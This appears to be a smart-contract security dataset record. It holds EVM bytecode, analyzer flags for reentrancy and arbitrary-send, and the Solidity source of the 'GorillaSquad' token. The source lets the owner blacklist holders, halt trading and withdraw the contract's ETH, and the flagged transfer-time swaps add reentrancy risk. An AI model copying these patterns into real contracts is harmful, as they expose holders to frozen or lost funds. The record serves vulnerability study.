614155b1561109057600e546001600160a01b038581169116148015610ed55750600d546001600160a01b03848116911614155b8015610efa57506001600160a01b03831660009081526003602052604090205460ff16155b15610fe257600854821115610f515760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610591565b60095482610f74856001600160a01b031660009081526001602052604090205490565b610f7e9190611837565b1115610fcc5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610591565b600e54600160a01b900460ff16610fe257600080fd5b600e54600160a01b900460ff1680156110085750600e546001600160a01b038481169116145b8015611017575061101761082d565b1561102757611024610ab2565b90505b30600090815260016020526040902054600e54600160a81b900460ff1615801561105f5750600e546001600160a01b03868116911614155b80156110745750600e54600160b01b900460ff165b1561108e57611082816111ed565b4761108c4761112a565b505b505b6001600160a01b0383166000908152600360205260409020546110ea9085908590859060ff16806110d957506001600160a01b03881660009081526003602052604090205460ff165b6110e35784611367565b6000611367565b50505050565b600081848411156111145760405162461bcd60e51b8152600401610591919061157c565b506000611121848661187e565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610aa4573d6000803e3d6000fd5b600082600003611176575060006104f8565b600061118283856118c3565b90508261118f85836118e2565b146111e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610591565b9392505050565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112355761123561184f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b291906117e2565b816001815181106112c5576112c561184f565b6001600160a01b039283166020918202929092010152600d546112eb9130911684610c04565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611324908590600090869030904290600401611904565b600060405180830381600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600061137e60646113788585611164565b9061146b565b9050600061138c84836114ad565b6001600160a01b0387166000908152600160205260409020549091506113b290856114ad565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546113e190826114ef565b6001600160a01b03861660009081526001602052604080822092909255308152205461140d90836114ef565b3060009081526001602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60006111e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061154e565b60006111e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f0565b6000806114fc8385611837565b9050838110156111e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610591565b6000818361156f5760405162461bcd60e51b8152600401610591919061157c565b50600061112184866118e2565b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b818111156115bb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ed57600080fd5b80356115f1816115d1565b919050565b6000806040838503121561160957600080fd5b8235611614816115d1565b946020939093013593505050565b60008060006060848603121561163757600080fd5b8335611642816115d1565b92506020840135611652816115d1565b929592945050506040919091013590565b60006020828403121561167557600080fd5b5035919050565b60006020828403121561168e57600080fd5b81356111e6816115d1565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116c257600080fd5b823567ffffffffffffffff808211156116da57600080fd5b818501915085601f8301126116ee57600080fd5b81358181111561170057611700611699565b8060051b604051601f19603f8301168101818110858211171561172557611725611699565b60405291825284820192508381018501918883111561174357600080fd5b938501935b8285101561176857611759856115e6565b84529385019392850192611748565b98975050505050505050565b6000806040838503121561178757600080fd5b8235611792816115d1565b915060208301356117a2816115d1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117f457600080fd5b81516111e6816115d1565b60006020828403121561181157600080fd5b815180151581146111e657600080fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111561184a5761184a611821565b500190565b634e487b7160e01b600052603260045260246000fd5b60006001820161187757611877611821565b5060010190565b60008282101561189057611890611821565b500390565b6000806000606084860312156118aa57600080fd5b8351925060208401519150604084015190509250925092565b60008160001904831182151516156118dd576118dd611821565b500290565b6000826118ff57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119545784516001600160a01b03168352938301939183019160010161192f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207151f3c225269504dd953037787920ca46610d48a7dadbda7164fa386a6c523664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
76
0x4a6e0c442394154e00c55ee985a9e9593db3fa64
/** *Submitted for verification at Etherscan.io on 2022-02-04 */ /* Website: https://www.gorillasquad.finance/ Discord : https://discord.gg/uXKsWeSCWN Telegram: https://t.me/GorillaSquadPortal Twitter: https://twitter.com/gsquadtoken Github: https://github.com/GorillaSquadToken ,,,█▄ ,██████████████████▌, ▄▄▄▄███████▄▄▄▄▄▄ ▄▄▀╥╥╖╗╥╖╖╖╥╗╖╥╥╥╥╗╥╥▐█ ,████████████████████▌, █▌▒▒▒▒█▒▒▒▒▐█▒▒▒▒██╢▒▒,█▌ ╔▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▀██▀▀▀▀███████▀▀▀▀██▀██▄ █▌╣╣╣▒█▒╣╣╣▐█▒╣╣╣██╢▒▒▒█▌ ,▐██Ü,,,,,,,,,,,,,]█,, ██▒▒▒▓▀███▄▐████▄▀███▌▒▒███` ▀█╢╢╢▓██╢╢╢██╢╢╢╢██╢▒▒▒█▌, █▌╖█░▒▒▒▐█▒▒▒▒▐█▒▒▒╥█▌ ███▒╢╣m▒▐█▀▓▄▀▓▄▀∩j█╢▒▒▒░▀▀█▄ ▄▌▀▀▀▀▀▀▀▀███▀▀▀▀▒▒▒▒▒▒╥▐█ ,▄█▌╢█▌╢╢╢▐█▒╢╢╢██╢╢╢╢█▌ ▐████▄▒╢▒███▒▓▓╢╩▓▒███╢╢╢▒░▄███ ▀▌▒▄▄▄▄▄▄▒█▌▒╣▒▒▒▒▒▒▒▒▒▒██ ▐█m╢╢█▌▓▓▓▓█▌▓▓▓██▓▓▓▓█▌ ▐██████▌▒▒▒▒█▌p▒▒▒█▒▒▒▒▒▒███████ ▀█████▓▀▒▒╣╣╢╢╢╢╢╢██████ ▐█▒▒▒╢████████████████▄, ███████▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▓██████▌ ████████████████████ ▐█▒▒▒▒▒▒▒╢▒▒██▒▒▒▒▒▒▒p██ █████████▀█▌▀█▌▀█▀▀█▀▀█▀▐█████████▌ ▐█████████████████████ ▐█▄▄▒▒▒▒▒╢╣╣▓███████▀▀ ,▄█████████▄█████████████▄▐█████████████████████████████████████ ▐████████████████████ j██████████████⌐▐█████████▌ ███████████████████████████████████████ ▐█████████████████████████████████████▄▄█▄██▄██▄██▄█████████████████████████████████████▌ ▐██████████████████████████████████████████████████████████████████████████████████████▀` ██████████████████████████████████████████████████████████████████████████████████▀▀ ▐█████████████████████████▌▀▀▀▀▀▀▀▀▀▀▀▀▀▀███ ██████████████████████ ▀██████████████████████╖║▒▒▒▒▒▒▒▒▒▒▒▒▒▒╖╖╓▒▒▒▒▒▒▒▒▒▒▒▒▒▒╖▐█████████████████▀ ████████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐██████████████ ▀▀▀██████████████╣╣▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╢▐█████▀▀▀ █████▌▒╢▒▒▒▒▒╢▒╢▓███████▓▓▒╣▒▒▒▒▒▒║▒▒███████▌ ▀█████████████▀▀▀▒╜╙█╜╙▒▀▀▀████████████████ █████████████▒▒▒███████▒▒╣██████████████▌ ▀██████████▒▒▒▒╜╙█▌╙▒▒▒▒█████████████▀` ▐████████▒▒▒███████▒▒╣███████████▌ ▐█████████▌╢╢╢▒▀▒╢╢╢▐████████████▌ ,,▐██████████████████████████████████████▌▄ ▄████████████████████████████████████████████▄▄▄ ╓▄██████████████████████████████████████████████████▄, ███████████████████████████████████████████████████████ ███████████████████████████▀▀███████████████████████████▄▄ ▐█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▐█████▌-- --▐███████▒▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▓█ ▄▀▓▄▀U╓▄▀▀╓▒▒▄▀╕╓▒▒▒▒╢▒▓▓██▀ ▀███▓▓▓╢▒▒▒▒▒╓▀▀▄▒╖╓▀▓▌╓▀▀▄▀▌▄ ▐█ ▐█ ║╫█@[ ▒▓█@Ü ╣╢╢▒▓▓▓▓██ ▐█▓▓▓▓▒╣╢╢[ @██╣Ü @██╢ ▐█ ▐█ */ //SPDX-License-Identifier: Unlicensed pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GorillaSquad is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _forceFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; address private constant UNI_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "GorillaSquad"; string private constant _symbol = unicode"GSQUAD"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor( address payable FeeAddress, address payable marketingWalletAddress ) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); _forceFee[UNI_ROUTER_ADDRESS] = true; _forceFee[DEAD_ADDRESS] = true; uniswapV2Router = IUniswapV2Router02(UNI_ROUTER_ADDRESS); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 4; _teamFee = 6; bool isBuyOrSell = false; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); // check if buy if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); // user is buying isBuyOrSell = true; } // check if sell if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _taxFee = 4; _teamFee = 6; // user is selling isBuyOrSell = true; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0 ) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = _forceFee[to] || isBuyOrSell; if (isBuyOrSell) { require(tradingOpen, "trading is not open"); } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function prepareTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; setMaxTxPercent(10); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function openTrading() external onlyOwner() { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setTradingOpen(bool tradingOpen_) public onlyOwner() { tradingOpen = tradingOpen_; } function withdraw() external onlyOwner { address payable recipient = payable(owner()); recipient.transfer(address(this).balance); } }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063b515566a1161006f578063b515566a146103fb578063c3c8cd8014610424578063c9567bf91461043b578063cb2f17b114610452578063d543dbeb14610469578063dd62ed3e1461049257610140565b806370a0823114610314578063715018a6146103515780638da5cb5b1461036857806395d89b4114610393578063a9059cbb146103be57610140565b8063273123b7116100fd578063273123b71461023e578063313ce567146102675780633ccfd60b1461029257806349bd5a5e146102a95780635932ead1146102d45780636fc3eaec146102fd57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806321c03a97146101d857806323b872dd1461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104cf565b6040516101679190612e1e565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061294e565b61050c565b6040516101a49190612e03565b60405180910390f35b3480156101b957600080fd5b506101c261052a565b6040516101cf9190612fc0565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906129d7565b61053b565b005b34801561020d57600080fd5b50610228600480360381019061022391906128fb565b6105ed565b6040516102359190612e03565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612861565b6106c6565b005b34801561027357600080fd5b5061027c6107b6565b6040516102899190613035565b60405180910390f35b34801561029e57600080fd5b506102a76107bf565b005b3480156102b557600080fd5b506102be6108aa565b6040516102cb9190612d5e565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906129d7565b6108d0565b005b34801561030957600080fd5b50610312610982565b005b34801561032057600080fd5b5061033b60048036038101906103369190612861565b6109f4565b6040516103489190612fc0565b60405180910390f35b34801561035d57600080fd5b50610366610a45565b005b34801561037457600080fd5b5061037d610b98565b60405161038a9190612d5e565b60405180910390f35b34801561039f57600080fd5b506103a8610bc1565b6040516103b59190612e1e565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e0919061294e565b610bfe565b6040516103f29190612e03565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d919061298e565b610c1c565b005b34801561043057600080fd5b50610439610d46565b005b34801561044757600080fd5b50610450610dc0565b005b34801561045e57600080fd5b50610467610e72565b005b34801561047557600080fd5b50610490600480360381019061048b9190612a31565b611156565b005b34801561049e57600080fd5b506104b960048036038101906104b491906128bb565b61129f565b6040516104c69190612fc0565b60405180910390f35b60606040518060400160405280600c81526020017f476f72696c6c6153717561640000000000000000000000000000000000000000815250905090565b6000610520610519611326565b848461132e565b6001905092915050565b6000683635c9adc5dea00000905090565b610543611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c790612f20565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b60006105fa8484846114f9565b6106bb84610606611326565b6106b68560405180606001604052806028815260200161373c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066c611326565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc69092919063ffffffff16565b61132e565b600190509392505050565b6106ce611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075290612f20565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107c7611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084b90612f20565b60405180910390fd5b600061085e610b98565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108a6573d6000803e3d6000fd5b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108d8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90612f20565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c3611326565b73ffffffffffffffffffffffffffffffffffffffff16146109e357600080fd5b60004790506109f181611c2a565b50565b6000610a3e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d25565b9050919050565b610a4d611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190612f20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4753515541440000000000000000000000000000000000000000000000000000815250905090565b6000610c12610c0b611326565b84846114f9565b6001905092915050565b610c24611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca890612f20565b60405180910390fd5b60005b8151811015610d4257600160076000848481518110610cd657610cd561337d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3a906132d6565b915050610cb4565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d87611326565b73ffffffffffffffffffffffffffffffffffffffff1614610da757600080fd5b6000610db2306109f4565b9050610dbd81611d93565b50565b610dc8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c90612f20565b60405180910390fd5b6001601260146101000a81548160ff021916908315150217905550565b610e7a611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efe90612f20565b60405180910390fd5b601260149054906101000a900460ff1615610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e90612fa0565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa0306109f4565b600080610fab610b98565b426040518863ffffffff1660e01b8152600401610fcd96959493929190612da2565b6060604051808303818588803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101f9190612a5e565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550611062600a611156565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611101929190612d79565b602060405180830381600087803b15801561111b57600080fd5b505af115801561112f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111539190612a04565b50565b61115e611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290612f20565b60405180910390fd5b6000811161122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612ec0565b60405180910390fd5b61125d606461124f83683635c9adc5dea0000061201b90919063ffffffff16565b61209690919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516112949190612fc0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612e80565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019